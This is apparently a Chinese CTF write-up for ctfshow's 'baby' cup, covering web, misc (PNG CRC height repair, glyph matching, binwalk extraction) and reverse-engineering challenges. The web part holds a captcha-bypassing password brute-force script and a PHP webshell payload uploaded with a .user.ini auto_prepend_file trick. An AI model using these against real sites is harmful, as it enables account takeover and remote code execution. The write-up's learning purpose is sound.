大概算是第二次比较正式的参加比赛,这次赛时做出了3道题,题目质量体感还不错。

解出来的三道题是:

  • 五子棋
  • 美丽的小姐姐
  • 天书奇谭PLUS-misc·又一个签到题

这篇文章是笔者对自己在baby杯中学习经验的总结,包括赛时以及赛后照wp解题过程中的经验总结。

WEB

baby_captcha

比赛的时候一开始想着python实现ai语音识别得到验证码,然后爆破密码,没找到现成脚本,放弃;然后想着根据音频特征分析验证码,就先把mp3音频的Data URL转成了mp3文件,audacity提示音频文件异常打不开,用mp3check-e参数没查出来,总之比赛时没解出来。

赛后看了官方给的非预期解,也尝试指定cookies里的seesion值爆破了一下,发现爆不出来,然后注意到验证失败返回的/login页面响应中set的session值一直是同一个,但是验证码是换了的,这就我理解下来就是和非预期解说的不一样了。但是我在群里问是不是改了题又说没有。总之目前笔者没有成功复现非预期解。

最后笔者的解法是直接对base64编码的Data URL数据进行特征分析,分析方法非常简陋,就是8位验证码的音频数据可以分成8段,每段开头是固定的,这样就可以拆分出这8段音频数据,然后在找出这8段音频的不同之处,笔者简单地把,从每段音频的开头,到第一次出现%2F(/对应的urlencode编码)为止的数据复制下来,发现十种音频——因为验证码是0到9十个数字——这部分对应的数据都不同,利用这种简单的不同,我们理论上就可以根据音频数据分析出验证码了。

以数字0为例,可以从数据编码中提取出以下片段作为其特征

1
SUQzAwAAAAAyRFRZRVIAAAAGAAAAMjAyMQBUREFUAAAABgAAADIxMDUAVElNRQAAAAYAAAAxMjMxAFBSSVYAABEKAABYTVAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxMzIgNzkuMTU5MzMwLCAyMDE2LzA1LzA2LTAxOjEwOjU1ICAgICAgICAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIgogICAgeG1sbnM6eG1wRE09Imh0dHA6Ly9ucy5hZG9iZS5jb20veG1wLzEuMC9EeW5hbWljTWVkaWEvIgogICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgQXVkaXRpb24gQ0MgMjAxNS4yIChXaW5kb3dzKSIKICAgeG1wOkNyZWF0ZURhdGU9IjIwMjEtMDUtMjFUMTI6MzE6NTErMDg6MDAiCiAgIHhtcDpNZXRhZGF0YURhdGU9IjIwMjEtMDUtMjFUMTI6MzY6MDUrMDg6MDAiCiAgIHhtcDpNb2RpZnlEYXRlPSIyMDIxLTA1LTIxVDEyOjM2OjA1KzA4OjAwIgogICB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjJkZDJmMjA5LTk0MTAtYjg0MS05ZGZiLWNlMjJhNTFlYzk2NyIKICAgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoyZGQyZjIwOS05NDEwLWI4NDEtOWRmYi1jZTIyYTUxZWM5NjciCiAgIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDpkZjI0YjQ4Yi0xYWI0LTI3NDUtOGYzZS1kM2Y0YzgwOTZlYzgiCiAgIGRjOmZvcm1hdD0iYXVkaW8vbXBlZyI

笔者建了一个coding.txt用来存储0-9的数字对应的特征编码,部分内容如下,其中,...表示省略的部分。

1
2
3
4
5
0 AyMQBUREFU...wOTZlYzgiCiAgIGRjOmZvcm1hdD0iYXVkaW8vbXBlZyI
1 AyMQBUREFU...zMDFmY2IiCiAgIGRjOmZvcm1hdD0iYXVkaW8vbXBlZyI
...
8 AyMQBUREFU...wZGFmYWMiCiAgIGRjOmZvcm1hdD0iYXVkaW8vbXBlZyI
9 AyMQBUREFU...3MGExYjkiCiAgIGRjOmZvcm1hdD0iYXVkaW8vbXBlZyI

爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import requests
from urllib.parse import unquote
from bs4 import BeautifulSoup as bs

import base64

url = 'http://7da8ee58-ba71-43c5-aff5-a56a36aad65f.challenge.ctf.show:8080/login'
cookies = {'session': '4965ea2d-907e-4121-9ab0-0438a571f7e7.kM5rEmmb_6xaVE4ofzMd9-C17qs'}

name_pass_err_key = '用户名或密码错误'
pincode_err_key = '验证码错误'

splite_base = 'SUQzAwAAAAAyRFRZRVIAAAAGAAAAMj'
codingfilename = 'coding.txt'

def fetch_pin(src):
pin = ''
text = src.split(splite_base)[1:] #first item is '', simply ignore it
for t in text:
for i, p in coding:
if t.find(p) == 0:
pin += str(i)
return pin

def post_one(passwd, pin):
data = {'username': 'admin', 'password': passwd, 'pincode': pin}
r = s.post(url, data = data, cookies = cookies)

soup = bs(r.text, 'lxml')

return soup

def soup2src(soup):
try:
src = soup.select('source')[0]['src'][22:]
except IndexError as e:
print(soup)
raise e
return src

pass_list = []
with open('dict.txt', 'r') as f:
pass_list = f.readlines()
pass_list = [item.strip() for item in pass_list]

coding = []
with open('coding.txt', 'r') as f:
coding = f.readlines()
coding = [list(code.strip().split()) for code in coding]

s = requests.session()

#initial status
passwd = ''
passwd_index = 0
pin = ''

soup = post_one(passwd, pin)
src = soup2src(soup)

while True:

#generate new passwd and pin
passwd = pass_list[passwd_index]
passwd_index += 1
pin = fetch_pin(src)

print(f'Try {passwd_index} passwd, passwd is {passwd}, pin is {pin}')

#keep post
soup = post_one(passwd, pin)
src = soup2src(soup)

#check response
errflag = False
errinfo = ''
if soup.select('.status')[0].text.find(name_pass_err_key) != -1:
errflag = True
errinfo = name_pass_err_key
if soup.select('.status')[0].text.find(pincode_err_key) != -1:
errflag = True
errinfo = pincode_err_key

if errflag:
print(f'errinfo is {errinfo}')
else:
print(f'success')
print(src)
break

音频编码共同的开头部分是SUQzAwAAAAAyRFRZRVIAAAAGAAAAMjAyMQBU...,由于其中SUQzAwAAAAAyRFRZRVIAAAAGAAAAMj部分被用作split方法分割数据的参数,所以coding.txt中每段数据的开头都删去了这一部分。

爆破得到密码是fire,拿到flag。

baby_php

学题解,利用文件包含漏洞,脚本如下

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://254e1d7a-6204-455f-8c4e-963a98177e87.challenge.ctf.show:8080/'
op = ''
#data = {'name': 'test.txt', 'content': '<?=eval($_POST[thekey]);?>'}
#data = {'name': '.user.ini', 'content': 'auto_prepend_file=test.txt'}
data = {'thekey': 'system("cat /flag_baby_here_you_are");'}

x = requests.post(url + op, data = data)

print(x.text)
参考资料

ctfshow-baby杯web题解

MISC

五子棋

和机器人下棋,既然是我方先手,理论上是可以必胜的。这题看群友思路做的,用软件“五子棋终结者”实现先手必胜,软件里机器人执先方,我们调出软件照着下就行了。

软件网上一搜就能搜到,不过这里笔者用的是群友发的老版本,打开后弹窗显示要更新,点确认之后弹出网页,还强制退出程序,什么流氓。。。开fiddler,给网站域名打一个bpu断点(断点设置于发出请求前),本来是想打个bpa断点(断点设置于接受请求后)改响应,结果打了个bpu就能正常运行程序了,看来程序机制是检测到有新版才调用终止程序接口,检测被拦截了就什么也没做。

软件运行过程中截图

image-20210602212531929

后来又看到群友另一个方法更觉得精妙,不需要借助外部的算法来打败这个机器人。

用魔法来打败魔法,想要知道先方怎么获胜,“让”机器人成为先方来为我们提供算法就好了。

-5e67f1eb175f3c7d

美丽的小姐姐

这图看着就觉得下面太突兀了,应该是高度被改小了,用010editor打开,查出IHDRcrc校验出问题。

图为010editor报错信息

image-20210602213424768

下午正好做到一题也是这个情况,我个人觉得看到crc校验出错要考虑两种情况:一种是文件中实际的crc结果是正确的,那就是IHDR块中的某些数据被改动了,这其中就包括图像的宽、高;一种是文件中实际的crc结果是错误的,被篡改的,要把校验结果修改成“预期的”那个。本题就是第一种,第二种我还没遇到过,这张crc校验出错的图像在kali下默认方式打开是无法正常显示的,我在windows下用画图就可以正常打开看到图像内容,甚至拖动图像文件也能看到预览图,感觉没什么出题空间。

言归正传,接下来就是按照图像的高度被改小的想法,爆破图像的实际高度,也就是用遍历的高度去生成对应的crc校验结果,如果和文件里报错的校验结果一致,这个高度就是实际高度。笔者这里是从网上找的一个爆破脚本做了下修改,可以同时爆破宽、高,这题实际上爆破高就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import struct
import zlib

# 十六进制字符串转bytes:两两分割字符串,对子串使用struct.pack()转换成bytes类型,拼接在一起
def hexStr2bytes(s):
b = b""
for i in range(0,len(s),2):
temp = s[i:i+2]
b += struct.pack("B", int(temp, 16))
return b

# str1和str2分别是待爆破的Height前面的数据、后面的数据,呈现为16进制字符串
str1 = "49484452"
str2 = "0806000000"
bytes1 = hexStr2bytes(str1)
bytes2 = hexStr2bytes(str2)

crc32 = "0x5e687792"

# 遍历宽高
for w in range(1000):
for h in range(1000):

str_w = hex(w)[2:].rjust(8, '0')
bytes_w = hexStr2bytes(str_w)

str_h = hex(h)[2:].rjust(8, '0') # 将十进制int转化为8位十六进制数,rjust()用于补齐
bytes_h = hexStr2bytes(str_h)

if hex(zlib.crc32(bytes1+bytes_w+bytes_h+bytes2)) == crc32:
print(w, h)

原始图像是宽335*高440,爆出高度是597,把高度改成597,查看图像底部得到flag。

天书奇谭PLUS-misc·又一个签到题

拿到两张图片,一张是指定给我们处理的4个字,一张是字表。

解这道题大概可以拆分这几件事:

  • 查出图中字体是什么
  • 找到图中要处理的4个字是哪4个汉字
  • 在字表中找出4个汉字对应的位置

赛时做题的时候是先做了第二件事再做第三件事,当时觉得先找出是哪几个字心理会比较踏实,但实际上想第二件事其实可以没有技术含量,先做第三件事反而能够先把握自己能不能解出这道题。在心理素质不够强大的情况下我没有选这种思路。

拿到图片,我们拆分出要做的3件事后,再对具体要完成哪些工作作一个分析。

  • 第1件:知道是什么字体我们才能得到这4个鬼画符到底是什么汉字。所以需要搜索找出这种字体,基于我们有的图片做搜索,可能需要基于我们搜到的相关信息进一步搜索。
  • 第2件:要找到把这种字体的文本图像转成我们平常认识的汉字的方法。对于这种字体,如果能识图自动转文本最好,否则就需要有一个映射表。搜索获取这两样工具。
  • 第3件:这里需要对字表图片文件做一个简单观察,图像尺寸是10000*10000,稍微放大观察后注意到文字很整齐,再加上目测估计,推测是100*100的字表,应该可以简单拆分成10000张100*100的单个字的图像,拆分过程中给每张图片打上编号,然后分别与4个目标单字的图像——还需要做一个反色处理,4字图像是白底黑字,字表是黑底白字——做相似度匹配找到单字在字表中的行列位置。再放大注意到字表图片中有一些“干扰”,非常整齐的几何形状,显然是人为的,应该是故意为了增大匹配难度,这里可能对匹配算法或模型有一定要求。

可以看出,字表图像中加了“干扰”

image-20210602231837673

先直接把4字图片扔到百度识图google识图上看一下,考虑到搜索的内容是中文语境下特有的,先猜一波百度可能靠谱些。果不其然,google几乎没有结果,百度结果一大堆。百度可以根据图片链接到原网页,多试几个,找到字体名称“九叠篆”。

image-20210603142108690

笔者对字体不太了解,在搜索过程中发现某些篆体字比较有题中字体的感觉,所以围绕关键字“篆体”简单搜索了一下,不过没有找到题中字体相关信息。

下一步是找出4个字分别是什么,首先考虑找一下有没有网站能够直接把九叠篆字体图片转成相应汉字,在网上搜索“九叠字在线识别”等内容,无果,搜来搜去发现还是只有九叠篆字体生成器,即根据汉字生成对应的九叠篆,那就先根据这4个字的字形看看能不能猜出来。

第一个突破口是第二个字,左右完全对称,下面似乎是是多条“横”笔画,看起来像是美字,在线转换器试一下,完全一致。

f2

其他几个字一时看不出来,先搜一下“带美字的成语”,也没找到看起来像的。第四个字的左边偏旁有点奇特,试了一下“翻”“龄”“歃”,都没撞对。

在搜索过程中看到一个网页是《兰亭集序》的九叠篆写法,心里一动,既然盯着这4个字盯不出所以然来,不如找出它们和其他字相似处。一眼看过去看到个“人”字,但是和我们的还不太一样,猜测可能是“入”。在线转换器试一下,竟然不是,再试一下“人”,发现是了。

0134b9554562850000019ae9caff15.jpg@1280w_1l_2o_100sh

有了“人美”两个字,笔者先想到“人美心善”,转了一下不是,再搜发现可能是“人美歌甜”,转一下,匹配成功!

接下来的工作是拆分和匹配,4字图片的拆分用脚本或者图像处理软件裁一下都行,字表的拆分这里用了一个网上的模板改了一下,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#slite_image.py
from PIL import Image
import sys

N = 100

#将图片填充为正方形
def fill_image(image):
width, height = image.size
#选取长和宽中较大值作为新图片的
new_image_length = width if width > height else height
#生成新图片[白底]
new_image = Image.new(image.mode, (new_image_length, new_image_length), color='white')
#将之前的图粘贴在新图上,居中
if width > height:#原图宽大于高,则填充图片的竖直维度
#(x,y)二元组表示粘贴上图相对下图的起始位置
new_image.paste(image, (0, int((new_image_length - height) / 2)))
else:
new_image.paste(image, (int((new_image_length - width) / 2),0))
return new_image

#切图
def cut_image(image):
width, height = image.size
item_width = int(width / N)
box_list = []
# (left, upper, right, lower)
for i in range(0,N):#两重循环,生成9张图片基于原图的位置
for j in range(0,N):
#print((i*item_width,j*item_width,(i+1)*item_width,(j+1)*item_width))
box = (j*item_width,i*item_width,(j+1)*item_width,(i+1)*item_width)
box_list.append(box)
image_list = [image.crop(box) for box in box_list]
return image_list

#保存
def save_images(image_list):
index = 1
for image in image_list:
image.save('sub/' + str(index) + '.png') #存储到sub文件夹下
index += 1

if __name__ == '__main__':
file_path = "flag.png" #字表图片
image = Image.open(file_path)
# image.show()
image = fill_image(image)
image_list = cut_image(image)
save_images(image_list)

跑完/sub文件夹下就生成了10000张带序号的图片,接下来用脚本实现图像匹配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#check_pic.py
from skimage.measure import compare_ssim
import cv2
import copy

class CompareImage():

def compare_image(self, path_image1, path_image2):

imageA = cv2.imread(path_image1)
imageB = cv2.imread(path_image2)

grayA = cv2.cvtColor(imageA, cv2.COLOR_BGR2GRAY)
grayB = cv2.cvtColor(imageB, cv2.COLOR_BGR2GRAY)

(score, diff) = compare_ssim(grayA, grayB, full=True)
#print("SSIM: {}".format(score))
return score

result = []
compare_image = CompareImage()
for i in range(1, 10001):
result.append(compare_image.compare_image("ren.png", "sub/{}.png".format(i))) #'ren.png'是笔者存储“人”字图像的文件名,依次把四个字匹配一遍即可

t = copy.deepcopy(result)
max_number = []
max_index = []
for _ in range(10): # 求10个最大的数值及其索引
number = max(t)
index = t.index(number)
t[index] = 0
max_number.append(number)
max_index.append(index)
t = []
print(max_number)
print(max_index)#注意这里输出的索引值会比拆分出来的字表单字的文件名所代表的索引值小1,比如这里输出的索引'506'对应图像'/sub/507.png'

考虑到匹配结果可能不准确,笔者一开始的想法是对每个字先求相似度最大的10张图片,在人工对比,结果发现4个字都是相似度最高的一张图片正好是正确的。

得到4个图片名作为索引值。

1
2
3
4
人 507.png
美 3603.png
歌 6637.png
甜 7273.png

换算成行列

1
2
hang = index / 100 + 1
lie = index % 100

构造flag

1
ctfshow{人67_美373_歌6737_甜7373}
参考资料

Python3通过OpenCV对比图片相似度

用Python实现将一张图片分成9宫格的示例

python list索引_Python获取list中最大或最小的n个数及其索引

不问天

上binwalk

1
2
3
4
5
6
7
8
9
10
$ binwalk noasksky.mp3

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
231 0xE7 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
272 0x110 Zlib compressed data, default compression
1759691 0x1AD9CB Zip archive data, encrypted at least v2.0 to extract, uncompressed size: 1694, name: buwentian.txt
1760939 0x1ADEAB End of Zip archive, footer length: 22
3967206 0x3C88E6 QNX4 Boot Block

直接加-e参数提不出图片,用dd

1
$ dd if=noasksky.mp3 of=noasksky.png bs=1 skip=231 count=1759461

得到封面图

cover

什什么邻近法,我我不会啊,不过这一步其实我在注意到这些点之后就没有发现有一些点是白色的,也没有再深究,而是想着爆破压缩包去了。。。

老老实实照题解用邻近法

PS->图像->宽度-百分比10->高度-百分比10->重新采样-邻近

结果如下

image-20210603162944475

用BV号解密压缩包

image-20210603163057097

前半段歌词长这样

image-20210603163206091

有字代表比特1,无字代表比特0,每行6-7位,转ascii编码。

懒得写脚本,windows下 直接notepad++正则表达式替换,规则依次如下

1
2
3
4
5
6
//前面双引号里内容替换成后面一个双引号里的内容"
^.{6}$" -> " ($0)" //6个字符一行的填充为7个字符一行
"^.{7}$" -> " ($0)" //7个字符一行的填充为8个字符一行
"\r\n" -> "" //去换行符,windows下是'\r\n'
" " -> "0" //空格换成0
"[^0]" -> "1" //非空格换成1

得到比特序列,扔进cyberchef,选from binary或者魔棒帮你选,拿到flag。

其实也可以不用第二条正则替换规则,cyberchef里Byte Length选7就好了,但是第一条规则还是要有的,这样每行都对齐到7位。

Snipaste_2021-06-03_16-55-58

拓展内容

万里长城

这题预期解笔者不想复现,又看了非预期解,利用对图片进行顺序切割时,最后修改时间(last modification time)也应该是顺序的这一点,真的巧妙。

自己写了个脚本,参考wp里的脚本写了个10000*10000的循环emmmmmm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os
import pathlib
from PIL import Image

filestat = []

width = 99
height = 40

for name in os.listdir('random'):
mtime = pathlib.Path(f'random/{name}').stat().st_mtime
filestat.append([name, mtime])

filestat = sorted(filestat, key = lambda x: x[1])
#利用lambda表达式指定基于最后修改时间排序

final_image = Image.new('RGB', (width * 100, height * 100))

for i, stat in enumerate(filestat):

image = Image.open(f'random/{stat[0]}')

up_index = i // 100 + 1
up_pos = up_index * height
left_index = i % 100
left_pos = left_index * width

final_image.paste(image, (left_pos, up_pos))

final_image.save('result.png')

参考资料

ctfshow baby杯 六一快乐 部分MISC WriteUp

RE

baby_gay

比赛的时候看到就一道re还没几个人解出来,以为难度比较大,连附件都没下下来,披着re皮的misc。

Snipaste_2021-06-03_18-25-02

ida无脑F5,拿到两个关键字符串

1
2
Gif4BdadxXkMLA6CXdipU3dnesRGYMzuio/D48HJ+rQ=
ZGFuaXU=

RC4解密,结果是长度32的hex字符串,推测是md5

找个在线库看一下

image-20210603182727561

最后flag就是把md5包起来